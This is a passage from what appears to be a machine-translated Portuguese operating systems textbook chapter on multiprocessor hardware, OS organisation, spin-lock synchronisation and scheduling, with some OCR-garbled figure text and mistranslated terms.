para introduzir heterogeneidade enquanto mantém o mesmo conjunto de instruções. Por exemplo, 
uma CPU pode ter um pequeno número de núcleos “grandes”, com pipelines profundos e possivelmente 
altas velocidades de clock e um número maior de “pequenos” núcleos que são mais simples, menos 
potentes e talvez funcionem em frequências mais baixas. Os núcleos poderosos são necessários para 
executar código que requer processamento sequencial rápido, enquanto os pequenos núcleos são úteis 
para eficiência energética e para tarefas que podem ser executadas de forma eficiente em paralelo. 
Os exemplos incluem as arquiteturas big.LITTLE da ARM e Alder Lake da Intel. 


Programação com múltiplos núcleos 
Como já aconteceu muitas vezes no passado, o hardware está muito à frente do software. 


Embora os chips multicore já existam, nossa capacidade de escrever aplicativos para eles é 
não. As linguagens de programação atuais são pouco adequadas para escrita altamente paralela 
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programas, e bons compiladores e ferramentas de depuração são escassos no local. Poucos 
programadores são especialistas em programação paralela e a maioria sabe pouco sobre como 
dividir o trabalho em vários pacotes que podem ser executados em paralelo. Sincronização, 
eliminação de condições de corrida e prevenção de impasses são coisas das quais são feitos 
sonhos realmente ruins, mas infelizmente o desempenho sofre terrivelmente se não forem bem 
tratados. Semáforos não são a resposta. 

Além desses problemas de inicialização, está longe de ser óbvio que tipo de aplicação 
realmente precisa de centenas, e muito menos de milhares, de núcleos de uso geral — 
especialmente em ambientes domésticos. Por outro lado, em grandes farms de servidores, muitas 
vezes há muito trabalho para um grande número de núcleos. Por exemplo, um servidor popular 
pode facilmente usar um núcleo diferente para cada solicitação do cliente. Da mesma forma, os 
provedores de nuvem discutidos no capítulo anterior podem absorver os núcleos para fornecer um 
grande número de máquinas virtuais para alugar a clientes que procuram poder de computação sob demanda. 


Multithreading simultâneo 


As CPUs não apenas têm muitos núcleos, mas esses núcleos podem suportar SMT (Simulta 
neous Multithreading). SMT significa que um núcleo oferece vários contextos de hardware que 
às vezes são chamados de hyper-threads. Como sempre, o pessoal do hardware não perdeu a 
chance de semear confusão na nomenclatura das coisas, e enfatizamos que um hyper-thread é 
diferente dos threads que discutimos nos capítulos anteriores — refere-se à capacidade do 
hardware de execute várias coisas, processos ou threads, simultaneamente no mesmo núcleo. Em 
outras palavras, cada hiperthread pode executar um processo ou thread (ou até mesmo um 
processo com vários threads no nível do usuário). Por esse motivo, algumas pessoas falam em 
núcleos virtuais em vez de hyper-threads. 

Na verdade, cada hyper-thread serve como um núcleo virtual. Por exemplo, ele possui seu 
próprio conjunto de registros para executar um processo separado, independentemente do que 
está sendo executado no(s) outro(s) hiperthread(s). No entanto, não é um núcleo físico 
independente, pois recursos como os caches L1 e L2, o TLB, as unidades de execução e muitos 
outros elementos são normalmente compartilhados entre os hyperthreads. Aliás, isso também 
significa que a execução de um hyper-thread pode facilmente interferir na execução de outro 
thread: se um mecanismo de execução estiver em uso por um thread, outros threads que quiserem 
usá-lo terão que esperar. E quando um processo acessa uma nova página de memória virtual, o 
acesso pode remover uma entrada TLB do processo no outro hiperthread. 

O benefício do hyper-threading é que você obtém “quase um núcleo extra” por uma fração do 
preço. Os benefícios de desempenho dos hiperthreads variam. Algumas cargas de trabalho 


podem ser aceleradas em até 30% ou mais, mas para muitas aplicações a diferença é muito 
menor. 


8.1.2 Tipos de sistemas operacionais multiprocessadores 


Passemos agora do hardware multiprocessador para o software multiprocessador, em 
particular, sistemas operacionais multiprocessadores. Várias abordagens são possíveis. 
A seguir estudaremos três deles. Observe que tudo isso é igualmente aplicável a sistemas 
multicore, bem como a sistemas com CPUs discretas. 
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Cada CPU possui seu próprio sistema operacional 


A maneira mais simples possível de organizar um sistema operacional multiprocessador é dividir 
estaticamente a memória em tantas partições quantas forem as CPUs e dar a cada CPU sua própria memória 
privada e sua própria cópia privada do sistema operacional. Com efeito, as n CPUs operam então como n 
computadores independentes. Uma otimização óbvia é permitir que todas as CPUs compartilhem o código 
do sistema operacional e façam cópias privadas apenas das estruturas de dados do sistema operacional, 
como mostrado na Figura 8.7. 


CPU 1 CPU 2 CPU 3 CPU 4 Memória E/S 


1 2 
Tem Tem Tem Tem 
privado privado privado privado HA 
so SÖ SO so Dados [Dados 
= 


Ônibus 
Figura 8-7. Particionando a memória do multiprocessador entre quatro CPUs, mas compartilhando 


uma única cópia do código do sistema operacional. As caixas marcadas com Dados são os dados 
privados do sistema operacional para cada CPU. 


Este esquema ainda é melhor do que ter n computadores separados, pois permite que todas as 
máquinas compartilhem um conjunto de discos e outros dispositivos de E/S, e também permite que a memória 
seja compartilhada de forma flexível. Por exemplo, mesmo com alocação de memória estática, uma CPU 
pode receber uma porção extra grande de memória para poder lidar com programas grandes com eficiência. 
Além disso, os processos podem comunicar-se eficientemente entre si, permitindo que um produtor grave 
dados diretamente na memória e permitindo que um consumidor os busque no local onde o produtor os 
gravou. Ainda assim, do ponto de vista dos sistemas operacionais, ter cada CPU com seu próprio sistema 
operacional é o mais primitivo possível. 


Vale a pena mencionar quatro aspectos deste design que podem não ser óbvios. 

Primeiro, quando um processo faz uma chamada de sistema, a chamada de sistema é capturada e tratada 
em sua própria CPU usando as estruturas de dados nas tabelas desse sistema operacional. 

Segundo, como cada sistema operacional possui suas próprias tabelas, ele também possui seu próprio 
conjunto de processos que ele próprio agenda. Não há compartilhamento de processos. Se um usuário fizer 
login na CPU 1, todos os seus processos serão executados na CPU 1. Como consequência, pode acontecer 
que a CPU 1 fique ociosa enquanto a CPU 2 esteja carregada de trabalho. 

Terceiro, não há compartilhamento de páginas físicas. Pode acontecer que a CPU 1 tenha páginas 
sobrando enquanto a CPU 2 estiver paginando continuamente. Não há como a CPU 2 pegar emprestadas 
algumas páginas da CPU 1, pois a alocação de memória é fixa. 

Quarto, e pior, se o sistema operacional mantiver um cache de buffer de blocos de disco usados 
recentemente, cada sistema operacional fará isso independentemente dos outros. 

Assim, pode acontecer que um determinado bloco de disco esteja presente e sujo em vários caches de buffer 
ao mesmo tempo, levando a resultados inconsistentes. A única maneira de evitar isso 
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O problema é eliminar os caches de buffer. Fazer isso não é difícil, mas prejudica consideravelmente 
o desempenho, de modo que os sistemas operacionais sempre têm um cache de buffer. 

Por estas razões, este modelo raramente é mais utilizado em sistemas de produção, embora 
tenha sido utilizado nos primórdios dos multiprocessadores, quando o objetivo era portar os sistemas 
operacionais existentes para algum novo multiprocessador o mais rápido possível. Nas pesquisas, o 
modelo está de volta, mas com todo tipo de reviravoltas. Há algo a ser dito sobre como manter os 
sistemas operacionais completamente separados. Se todo o estado de cada processador for mantido 
localmente para esse processador, haverá pouco ou nenhum compartilhamento que leve a problemas 
de consistência ou de bloqueio. Por outro lado, se vários processadores tiverem que acessar e 
modificar a mesma tabela de processos, o bloqueio se tornará complicado rapidamente (e crucial para 
o desempenho). Diremos mais sobre isso quando discutirmos o modelo de multiprocessador simétrico 
abaixo. 


Multiprocessadores Líder-Seguidor 


Um segundo modelo é mostrado na Figura 8-8. Aqui, uma cópia do sistema operacional e suas 
tabelas está presente na CPU 1 e não em nenhuma das outras. Todas as chamadas do sistema são 


redirecionadas para a CPU 1 para processamento lá. A CPU 1 também pode executar processos do 
usuário se sobrar tempo de CPU. Este modelo é denominado líder-seguidor, pois a CPU 1 é a líder 


e todas as demais são seguidoras subordinadas. 


CPU 1 CPU 2 CPU 3 CPU 4 Memória E/S 


Seguidor Seguidor Seguidor 
executa o usuário executa E T executa Processos do usuário 


processos processos processos de psuári 


ho 


Ônibus 


Figura 8-8. Um modelo multiprocessador líder-seguidor. 


O modelo líder-seguidor resolve a maioria dos problemas do primeiro modelo. 
Existe uma estrutura de dados única (por exemplo, uma lista ou um conjunto de listas priorizadas) 
que monitora os processos prontos. Quando uma CPU fica ociosa, ela solicita ao sistema operacional 
na CPU 1 que um processo seja executado e recebe um. Assim, nunca pode acontecer que uma CPU 
fique ociosa enquanto outra esteja sobrecarregada. Da mesma forma, as páginas podem ser alocadas 
entre todos os processos dinamicamente e há apenas um cache de buffer, portanto, inconsistências 
nunca ocorrer. 

O problema com este modelo é que com muitas CPUs, o líder se tornará um gargalo. Afinal, ele 
deve lidar com todas as chamadas de sistema de todas as CPUs. Se, digamos, 10% de todo o tempo 
for gasto no tratamento de chamadas do sistema, então 10 CPUs praticamente saturarão o líder e, 
com 20 CPUS, ele ficará completamente sobrecarregado. Assim, este modelo é simples e viável para 
multiprocessadores pequenos, mas falha nos grandes. 
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Multiprocessadores Simétricos 

Nosso terceiro modelo, o SMP (Symmetric MultiProcessor), elimina essa assimetria. Existe uma 
cópia do sistema operacional na memória, mas qualquer CPU pode executá-la. Quando uma chamada de 


sistema é feita, a CPU na qual a chamada de sistema foi feita intercepta o kernel e processa a chamada 
de sistema. O modelo SMP é ilustrado na Figura 8-9. 


CPU 1 CPU 2 CPU 3 CPU 4 Memória E/S 


Executa Executa Executa Executa 


usuários e sistema usuários e sistema usuários e sistema usuários e 


operacional compartilhddo 


operacional compartilhddo operacional compartilhddo 


sistema operacional compartilhado 


Fechaduras 


Ônibus 
Figura 8-9. O modelo multiprocessador SMP. 


Este modelo equilibra processos e memória de forma dinâmica, uma vez que existe apenas um 
conjunto de tabelas do sistema operacional. Também elimina o gargalo da CPU líder, já que não existe 
líder, mas introduz seus próprios problemas. Em particular, se duas ou mais CPUs estiverem executando 
o código do sistema operacional ao mesmo tempo, poderá ocorrer um desastre. Imagine duas CPUs 
escolhendo simultaneamente o mesmo processo para executar ou reivindicando a mesma página de 
memória livre. A maneira mais simples de contornar esses problemas é associar um mutex (isto é, um 
bloqueio) ao sistema operacional, tornando todo o sistema uma grande região crítica. Quando uma CPU 
deseja executar o código do sistema operacional, ela deve primeiro adquirir o mutex. Se o mutex estiver 
bloqueado, ele apenas espera. Dessa forma, qualquer CPU pode executar o sistema operacional, mas 
apenas uma por vez. Essa abordagem às vezes é chamada de grande bloqueio de kernel. 


Este modelo funciona, mas é quase tão ruim quanto o modelo líder-seguidor. Novamente, suponha 
que 10% de todo o tempo de execução seja gasto dentro do sistema operacional. Com 20 CPUs, haverá 
longas filas de CPUs esperando para entrar. Felizmente, é fácil de melhorar. Muitas partes do sistema 
operacional são independentes umas das outras. 

Por exemplo, não há problema com uma CPU executando o escalonador enquanto outra CPU está 
lidando com uma chamada do sistema de arquivos e uma terceira está processando uma falha de página. 

Esta observação leva à divisão do sistema operacional em múltiplas regiões críticas independentes 
que não interagem entre si. Cada região crítica é protegida por seu próprio mutex, portanto, apenas uma 
CPU por vez pode executá-la. Desta forma, muito mais paralelismo pode ser alcançado. No entanto, pode 
acontecer que algumas tabelas, como a tabela de processos, sejam utilizadas por múltiplas regiões 
críticas. Por exemplo, a tabela de processos é necessária para o agendamento, mas também para a 
chamada do sistema fork e também para o tratamento de sinais. Cada tabela que pode ser usada por 
múltiplas regiões críticas precisa 
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seu próprio mutex. Desta forma, cada região crítica pode ser executada por apenas uma CPU 
por vez e cada tabela crítica pode ser acessada por apenas uma CPU por vez. 

A maioria dos multiprocessadores modernos usa esse arranjo. A parte difícil de escrever o sistema 
operacional para tal máquina não é que o código real seja tão diferente de um sistema operacional normal. 
Não é. A parte difícil é dividilo em 
regiões críticas que podem ser executadas simultaneamente por diferentes CPUs sem interferir umas nas 
outras, nem mesmo de maneira sutil e indireta. Além disso, cada mesa 
usado por duas ou mais regiões críticas deve ser protegido separadamente por um mutex e 
todo código que usa a tabela deve usar o mutex corretamente. 

Além disso, muito cuidado deve ser tomado para evitar impasses. Se dois críticos 
ambas as regiões precisam da tabela A e da tabela B, e uma delas reivindica A primeiro e a outra 
afirma B primeiro, mais cedo ou mais tarde ocorrerá um impasse e ninguém saberá por quê. Em 
teoria, todas as tabelas poderiam receber valores inteiros e todas as regiões críticas 
poderia ser necessário adquirir tabelas em ordem crescente. Esta estratégia evita dead locks, mas exige 
que o programador pense muito cuidadosamente sobre quais tabelas 
cada região crítica precisa e fazer as solicitações na ordem correta. 

À medida que o código evolui ao longo do tempo, uma região crítica pode precisar de uma nova tabela que não existia. 
anteriormente precisa. Se o programador é novo e não entende toda a lógica 
do sistema, então a tentação será apenas pegar o mutex na mesa no 
ponto em que é necessário e libere-o quando não for mais necessário. Por mais razoável que seja 
isso pode parecer, pode levar a impasses, que o usuário perceberá como o congelamento do sistema. 
Acertar não é fácil e mantê-lo certo ao longo dos anos 
diante da mudança de programadores é muito difícil, então toda a abordagem é 
muito sujeito a erros. 


8.1.3 Sincronização de Multiprocessador 


As CPUs em um multiprocessador frequentemente precisam ser sincronizadas. Acabamos de ver o 
caso em que regiões e tabelas críticas do kernel devem ser protegidas por mutexes. 
Vamos agora dar uma olhada em como essa sincronização realmente funciona em um multiprocessador. 
Está longe de ser trivial, como veremos em breve. 

Para começar, são realmente necessárias primitivas de sincronização adequadas. Se um processo 
em uma máquina uniprocessada (apenas uma CPU) faz uma chamada de sistema que requer 
acessando alguma tabela crítica do kernel, o código do kernel pode simplesmente desabilitar as interrupções 
antes de tocar na mesa. Poderá então fazer o seu trabalho sabendo que será capaz de 
termine sem que nenhum outro processo entre furtivamente e toque a mesa antes de terminar. Em um 
multiprocessador, desabilitar interrupções afeta apenas a CPU que faz o 
desabilitar. Outras CPUs continuam funcionando e ainda podem tocar na tabela crítica. Como consequência, 
um protocolo mutex adequado deve ser usado e respeitado por todas as CPUs para 
garantir que a exclusão mútua funcione. 

O coração de qualquer protocolo mutex prático é uma instrução especial que permite 
palavra de memória a ser inspecionada e definida em uma operação indivisível. Vimos como 
TSL (Test and Set Lock) foi usado na Figura 2.25 para implementar regiões críticas. Como 
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discutimos anteriormente, o que esta instrução faz é ler uma palavra de memória e armazená-la em um 
registrador. Simultaneamente, ele grava 1 (ou algum outro valor diferente de zero) na palavra da memória. 
Obviamente, são necessários dois ciclos de barramento para realizar a leitura e a gravação da memória. 
Em um uniprocessador, desde que a instrução não possa ser interrompida no meio, o TSL sempre 
funciona conforme o esperado. 

Agora pense no que poderia acontecer em um multiprocessador. Na Figura 8.10, vemos o pior caso 
de temporização, no qual a palavra de memória 1000, sendo usada como bloqueio, é inicialmente 0. No 
passo 1, a CPU 1 lê a palavra e obtém um 0. No passo 2, antes que a CPU 1 tenha a chance de 
reescrever a palavra como 1, a CPU 2 entra e também lê a palavra como 0. Na etapa 3, a CPU 1 escreve 
1 na palavra. Na etapa 4, a CPU 2 também escreve 1 na palavra. Ambas as CPUs obtiveram 0 da 
instrução TSL , então ambas agora têm acesso à região crítica e a exclusão mútua falha. 


A 
CPU 1 Memória CPU 2 


palavra 


1000 é inicialmente 


| | 1. CPUÍIÊO NI 2. CPU 2 lê 0 IL 


3. CPU 1 grava 1 4. CPU 2 grava 1 ho 


Ônibus 


Figura 8-10. A instrução TSL pode falhar se o barramento não puder ser bloqueado. Estas 
quatro etapas mostram uma sequência de eventos onde a falha é demonstrada. 


Para evitar esse problema, a instrução TSL deve primeiro bloquear o barramento, evitando que 
outras CPUs o acessem, depois fazer ambos os acessos à memória e, em seguida, desbloquear o barramento. 
Normalmente, o bloqueio do barramento é feito solicitando o barramento usando o protocolo de solicitação 
de barramento usual e, em seguida, ativando (ou seja, configurando um valor lógico 1) alguma linha de 
barramento especial até que ambos os ciclos sejam concluídos. Enquanto esta linha especial estiver ativa, 
nenhuma outra CPU terá acesso ao barramento. Esta instrução só pode ser implementada em um 
barramento que possua as linhas e protocolo (hardware) necessários para utilizá-las. Todos os ônibus 
modernos possuem essas facilidades, mas nos anteriores que não tinham, não foi possível implementar 
o TSL corretamente. É por isso que o protocolo de Peterson foi inventado: para sincronizar inteiramente 
em software (Peterson, 1981). 

Se o TSL for corretamente implementado e utilizado, garante que a exclusão mútua possa funcionar. 
No entanto, esse método de exclusão mútua usa um bloqueio giratório porque a CPU solicitante apenas 
fica em um loop apertado, testando o bloqueio o mais rápido possível. 

Isso não apenas desperdiça completamente o tempo da CPU (ou CPUs) solicitante, mas também pode 
colocar uma carga enorme no barramento ou na memória, desacelerando seriamente todas as outras 
CPUs que tentam fazer seu trabalho normal. 

À primeira vista, pode parecer que a presença de cache deveria eliminar o problema de contenção 
de barramentos, mas isso não acontece. Em teoria, uma vez que a CPU solicitante tenha lido a palavra 
de bloqueio, ela deverá obter uma cópia em seu cache. Contanto que nenhuma outra CPU 
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tentar usar o bloqueio, a CPU solicitante deverá conseguir ficar sem seu cache. 

Quando a CPU proprietária do bloqueio escreve um 0 para liberá-lo, o protocolo de cache invalida 
automaticamente todas as cópias dele em caches remotos, exigindo que o valor correto seja buscado 
novamente. 

O problema é que os caches operam em blocos de 32 ou 64 bytes. Normalmente, as palavras 
que cercam o bloqueio são necessárias para a CPU que o mantém. Como a instrução TSL é uma 
gravação (porque modifica o bloqueio), ela precisa de acesso exclusivo ao bloco de cache que 
contém o bloqueio. Portanto, cada TSL invalida o bloco no cache do detentor do bloqueio e busca 
uma cópia privada e exclusiva para a CPU solicitante. 

Assim que o detentor da fechadura toca uma palavra adjacente à fechadura, o bloco de cache é 
movido para sua máquina. Consequentemente, todo o bloco de cache que contém o bloqueio é 
constantemente transportado entre o proprietário do bloqueio e o solicitante do bloqueio, gerando 
ainda mais tráfego de barramento do que as leituras individuais da palavra de bloqueio gerariam. 

Se pudéssemos nos livrar de todas as gravações induzidas por TSL no lado solicitante, 
poderíamos reduzir sensivelmente a sobrecarga do cache. Esse objetivo pode ser alcançado 
fazendo com que a CPU solicitante primeiro faça uma leitura pura para verificar se o bloqueio está 
livre. Somente se o bloqueio parecer livre é que ele faz um TSL para realmente adquiri-lo. O 
resultado desta pequena mudança é que a maioria das pesquisas agora são lidas em vez de 
escritas. Se a CPU que mantém o bloqueio estiver lendo apenas as variáveis no mesmo bloco de 
cache, cada uma delas poderá ter uma cópia do bloco de cache no modo somente leitura 
compartilhado, eliminando todas as transferências de bloco de cache. 

Quando o bloqueio é finalmente liberado, o proprietário faz uma gravação, que requer acesso 
exclusivo, invalidando assim todas as cópias em caches remotos. Na próxima leitura da CPU 
solicitante, o bloco de cache será recarregado. Observe que se duas ou mais CPUs estão disputando 
o mesmo bloqueio, pode acontecer que ambos vejam que ele está livre simultaneamente, e ambos 
façam um TSL simultaneamente para adquiri-lo. Apenas um deles terá sucesso, portanto não há 
condição de corrida aqui porque a aquisição real é feita pela instrução TSL e é atômica. Ver que o 
bloqueio está livre e tentar agarrá-lo imediatamente com um TSL não garante que você o conseguirá. 
Outra pessoa pode vencer, mas para a correção do algoritmo, não importa quem o acerta. 


O sucesso na leitura pura é apenas uma dica de que este seria um bom momento para tentar 
adquirir o bloqueio, mas não é uma garantia de que a aquisição será bem-sucedida. 

Outra maneira de reduzir o tráfego de barramento é usar o conhecido algoritmo de backoff 
exponencial binário Ethernet (Anderson, 1990). Em vez de sondagens contínuas, como na Figura 
2.25, um loop de atraso pode ser inserido entre as sondagens. Inicialmente o atraso é uma instrução. 
Se o bloqueio ainda estiver ocupado, o atraso será duplicado para duas instruções, depois para 
quatro instruções e assim por diante até o máximo. Um máximo baixo fornece uma resposta rápida 
quando o bloqueio é liberado, mas desperdiça mais ciclos de barramento no esgotamento do cache. 
Um máximo alto reduz a sobrecarga do cache às custas de não perceber que o bloqueio é liberado 
tão rapidamente. A espera exponencial binária pode ser usada com ou sem leituras puras que 
precedem a instrução TSL. 

Uma idéia ainda melhor é dar a cada CPU que deseja adquirir o mutex sua própria variável de 
bloqueio privada para testar, conforme ilustrado na Figura 8.11 (Mellor-Crummey e Scott, 
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1991). A variável deve residir em um bloco de cache não utilizado para evitar conflitos. O 
algoritmo funciona fazendo com que uma CPU que não consegue adquirir o bloqueio aloque 
uma variável de bloqueio e se anexe ao final de uma lista de CPUs aguardando o bloqueio. 
Quando o detentor do bloqueio atual sai da região crítica, ele libera o bloqueio privado que a 
primeira CPU da lista está testando (em seu próprio cache). Esta CPU então entra na região 
crítica. Quando terminar, ele libera o bloqueio que seu sucessor está usando e assim por diante. 
Embora o protocolo seja um tanto complicado (para evitar que duas CPUs se conectem ao final 
da lista simultaneamente), ele é eficiente e livre de fome. 

Para todos os detalhes, os leitores devem consultar o jornal. 


CPU 3 gira neste bloqueio (privado) 


CPU 4 gira neste bloqueio (privado) 


dó Quando a CPU 1 termina o bloqueio real, 
Memoria compartilhada 

CPU 1 
mantém o 
bloqueio real 


ela o libera e também libera o bloqueio 
privado no qual a CPU 2 está girando 


Figura 8-11. Uso de vários bloqueios para evitar sobrecarga de cache. 


Girando vs. Trocando 


Até agora, assumimos que uma CPU que precisa de um mutex bloqueado apenas espera 
por ele, pesquisando continuamente, pesquisando intermitentemente ou anexando-se a uma 
lista de CPUs em espera. Às vezes, não há alternativa para a CPU solicitante apenas esperar. 
Por exemplo, suponha que alguma CPU esteja ociosa e precise acessar a lista compartilhada de 
prontos para escolher um processo para execução. Se a lista de prontos estiver bloqueada, a 
CPU não pode simplesmente decidir suspender o que está fazendo e executar outro processo, 
pois isso exigiria a leitura da lista de prontos. Deve esperar até poder adquirir a lista pronta. 

No entanto, em outros casos, há uma escolha. Por exemplo, se algum thread em uma CPU 
precisar acessar o cache do buffer do sistema de arquivos e estiver atualmente bloqueado, a 
CPU poderá decidir mudar para um thread diferente em vez de esperar. A questão de girar ou 
fazer uma troca de thread tem sido motivo de muita pesquisa, algumas das quais serão discutidas 
abaixo. Observe que esse problema não ocorre em um processador uniprocessador porque a 
rotação não faz muito sentido quando não há outra CPU para liberar o bloqueio. Se um thread 
tentar adquirir um bloqueio e falhar, ele será sempre bloqueado para dar ao proprietário do 
bloqueio a chance de executar e liberar o bloqueio. 
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Supondo que girar e fazer uma troca de thread sejam opções viáveis, a compensação é a 
seguinte. A rotação desperdiça ciclos de CPU diretamente. Testar um bloqueio repetidamente 
não é um trabalho produtivo. A comutação, entretanto, também desperdiça ciclos de CPU, pois 
o estado do thread atual deve ser salvo, o bloqueio na lista de prontos deve ser adquirido, um 
thread deve ser selecionado, seu estado deve ser carregado e ele deve ser iniciado. 

Além disso, o cache da CPU conterá todos os blocos errados, portanto, muitas perdas de cache 
caras ocorrerão quando o novo thread começar a ser executado. Falhas de TLB também são 
prováveis. Eventualmente, uma mudança de volta para o thread original deve ocorrer, com mais 
falhas de cache em seguida. Os ciclos gastos nessas duas trocas de contexto, além de todas 
as falhas de cache, são desperdiçados. 

Se for conhecido que os mutexes geralmente são mantidos por, digamos, 50 segundos e 
leva 1 ms para mudar do thread atual e 1 ms para voltar mais tarde, é mais eficiente apenas 
girar no mutex. Por outro lado, se o mutex médio for mantido por 10 ms, vale a pena fazer as 
duas trocas de contexto. O problema é que as regiões críticas podem variar consideravelmente, 
então qual abordagem é melhor? 

Um projeto é sempre girar. Um segundo design é sempre mudar. Mas um terceiro projeto é 
tomar uma decisão separada cada vez que um mutex bloqueado for encontrado. No momento 
em que a decisão deve ser tomada, não se sabe se é melhor girar ou trocar, mas para qualquer 
sistema é possível rastrear toda a atividade e analisá-la posteriormente offline. Então pode-se 
dizer, retrospectivamente, qual decisão foi a melhor e quanto tempo foi desperdiçado na melhor 
das hipóteses. Este algoritmo retrospectivo torna-se então uma referência contra a qual 
algoritmos viáveis podem ser medidos. 

Este problema tem sido estudado por pesquisadores há décadas (Ousterhout, 1982). 

A maioria dos trabalhos usa um modelo no qual um thread que não consegue adquirir um mutex 
gira por algum período de tempo. Se este limite for excedido, ele muda. Em alguns casos, o 
limite é fixo, normalmente a sobrecarga conhecida para alternar para outro thread e depois 
retornar. Em outros casos, é dinâmico, dependendo do histórico observado do mutex aguardado. 


Os melhores resultados são alcançados quando o sistema acompanha os últimos tempos 
de rotação observados e assume que este será semelhante aos anteriores. 
Por exemplo, assumindo novamente um tempo de troca de contexto de 1 ms, um thread girará 
por no máximo 2 ms, mas observe quanto tempo ele realmente girou. Se ele não conseguir 
adquirir um bloqueio e perceber que nas três execuções anteriores esperou em média 290 
segundos, ele deverá girar por 2 ms antes de alternar. No entanto, se perceber que girou durante 
2 ms completos nas tentativas anteriores, ele deverá mudar imediatamente e não girar. 

Alguns processadores modernos, incluindo o x86, oferecem instruções especiais para 
tornar a espera mais eficiente em termos de redução do consumo de energia. Por exemplo, as 
instruções MONITOR/MWAIT em x86 permitem que um programa seja bloqueado até que 
algum outro processador modifique os dados em uma área de memória previamente definida. 
Especificamente, a instrução MONITOR define uma faixa de endereços que deve ser monitorada 
para escrita. A instrução MWAIT bloqueia o thread até que alguém escreva na área. Efetivamente 
o fio fica girando, mas sem queimar muitos ciclos desnecessariamente. Em notebooks, isso 
não esgota tanto a bateria. 
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8.1.4 Agendamento de Multiprocessador 


Antes de ver como o escalonamento é feito em multiprocessadores, é necessário determinar o 
que está sendo escalonado. Antigamente, quando todos os processos eram de thread único, os 
processos eram agendados — não havia mais nada programável. 

Todos os sistemas operacionais modernos suportam processos multithread, o que torna o 
agendamento mais complicado. 

Importa se os threads são threads de kernel ou threads de usuário. Se o threading for feito por 
uma biblioteca de espaço do usuário e o kernel não souber nada sobre os threads, então o 
agendamento acontecerá por processo, como sempre aconteceu. Se o kernel nem sabe que 
existem threads, dificilmente poderá escaloná-las. 

Com threads de kernel, a imagem é diferente. Aqui, o kernel está ciente de todos os threads e 
pode escolher entre os threads pertencentes a um processo. Nestes sistemas, a tendência é que o 
kernel escolha um thread para executar, e o processo ao qual ele pertence tem apenas um pequeno 
papel (ou talvez nenhum) no algoritmo de seleção de threads. Abaixo falaremos sobre agendamento 
de threads, mas claro, em um sistema com processos single-threaded ou threads implementadas 
no espaço do usuário, são os processos que são agendados. 


Processo versus thread não é o único problema de agendamento. Em um uniprocessador, o 
agendamento é unidimensional. A única pergunta que deve ser respondida (repetidamente) é: "Qual 
thread deve ser executada em seguida?" Em um multiprocessador, o escalonamento tem duas 
dimensões. O escalonador deve decidir qual thread executar e em qual CPU executá-lo. Esta 
dimensão extra complica enormemente o agendamento em multiprocessadores. 

Outro fator complicador é que em alguns sistemas todos os threads não estão relacionados, 
pertencem a processos diferentes e não têm nada a ver uns com os outros. Em outros, eles vêm 
em grupos, todos pertencentes à mesma aplicação e trabalhando juntos. Um exemplo da primeira 
situação é um sistema servidor no qual usuários independentes iniciam processos separados e 
independentes. Os threads de diferentes processos não estão relacionados e cada um pode ser 
escalonado independentemente do outro 
uns. 

Um exemplo desta última situação ocorre regularmente em ambientes de desenvolvimento de 
programas. Grandes sistemas geralmente consistem em um certo número de arquivos de 
cabeçalho contendo macros, definições de tipo e declarações de variáveis que são usadas pelos 
arquivos de código reais. Quando um arquivo de cabeçalho é alterado, todos os arquivos de código 
que o incluem devem ser recompilados. O programa make é comumente usado para gerenciar o 
desenvolvimento. Quando make é invocado, ele inicia a compilação apenas dos arquivos de código 
que devem ser recompilados devido a alterações no cabeçalho ou nos arquivos de código. Os 
arquivos de objeto que ainda são válidos não são regenerados. 

A versão original do make fazia seu trabalho sequencialmente, mas versões mais recentes 
projetadas para multiprocessadores podem iniciar todas as compilações de uma só vez. Se forem 
necessárias 10 compilações, não faz sentido agendar 9 delas para serem executadas imediatamente 
e deixar a última para muito mais tarde, pois o usuário não perceberá o trabalho como concluído 
até que o último tenha terminado. Neste caso, faz sentido 
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considerar os threads que fazem as compilações como um único grupo e levar isso em consideração 
ao agendá-los. 

Além disso, às vezes é útil programar threads que se comuniquem extensivamente, digamos, no 
estilo produtor-consumidor, não apenas ao mesmo tempo, mas também próximos uns dos outros no 
espaço. Por exemplo, eles podem se beneficiar do compartilhamento de caches. Da mesma forma, em 
arquiteturas NUMA, pode ajudar se eles acessarem a memória que está próxima. 


Compartilhamento de tempo 


Vamos primeiro abordar o caso do agendamento de threads independentes; mais tarde 
consideraremos como agendar threads relacionados. O algoritmo de escalonamento mais simples para 
lidar com threads não relacionadas é ter uma única estrutura de dados em todo o sistema para threads 
prontas, possivelmente apenas uma lista, mas mais provavelmente um conjunto de listas para threads 
com prioridades diferentes, conforme ilustrado na Figura 8.12(a). . Aqui, as 16 CPUs estão todas 
ocupadas e um conjunto priorizado de 14 threads está aguardando para ser executado. A primeira CPU 
a terminar seu trabalho atual (ou ter seu thread bloqueado) é a CPU 4, que então bloqueia as filas de 
escalonamento e seleciona o thread de maior prioridade, A, como mostrado na Figura 8.12(b) . 

Em seguida, a CPU 12 fica ociosa e escolhe o thread B, conforme ilustrado na Figura 8.12(c). Contanto 
que os threads não estejam relacionados, fazer o escalonamento dessa maneira é uma escolha 
razoável e muito simples de implementar com eficiência. 


sa CPU 12 
CPU 4 [9] fica ociosa 
fica ociosa 
Prioridade 
(a) (b) (c) 


Figura 8-12. Usando uma única estrutura de dados para escalonar um multiprocessador. 


Ter uma única estrutura de dados de agendamento usada por todas as CPUs compartilha o tempo 
das CPUs, da mesma forma que aconteceria em um sistema uniprocessador. Ele também fornece 
balanceamento de carga automático porque nunca pode acontecer de uma CPU ficar ociosa enquanto 
outras estão sobrecarregadas. Duas desvantagens dessa abordagem são a contenção potencial para a 
estrutura de dados de agendamento à medida que o número de CPUs aumenta e a sobrecarga usual 
ao fazer uma troca de contexto quando um thread é bloqueado para E/S. 
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Também é possível que uma mudança de contexto aconteça quando o quantum de um thread 
expirar. Em um multiprocessador, isso possui certas propriedades não presentes em um uniprocessador. 
Suponha que o thread mantenha um spin lock quando seu quantum expira. Outras CPUs que aguardam 
o bloqueio de rotação apenas perdem tempo girando até que o thread seja agendado novamente e 
libere o bloqueio. Em um uniprocessador, spin locks raramente são usados, portanto, se um processo 
for suspenso enquanto mantém um mutex, e outro thread for iniciado e tentar adquirir o mutex, ele será 
imediatamente bloqueado, portanto, pouco tempo será desperdiçado. 


Para contornar essa anomalia, alguns sistemas usam escalonamento inteligente, no qual uma 
thread que adquire um spin lock define um sinalizador em todo o processo para mostrar que atualmente 
possui um spin lock (Zahorjan et al., 1991). Ao liberar o bloqueio, ele limpa o sinalizador. O escalonador 
então não interrompe um thread que contém um bloqueio de rotação, mas, em vez disso, dá a ele um 
pouco mais de tempo para completar sua região crítica e liberar o bloqueio. 

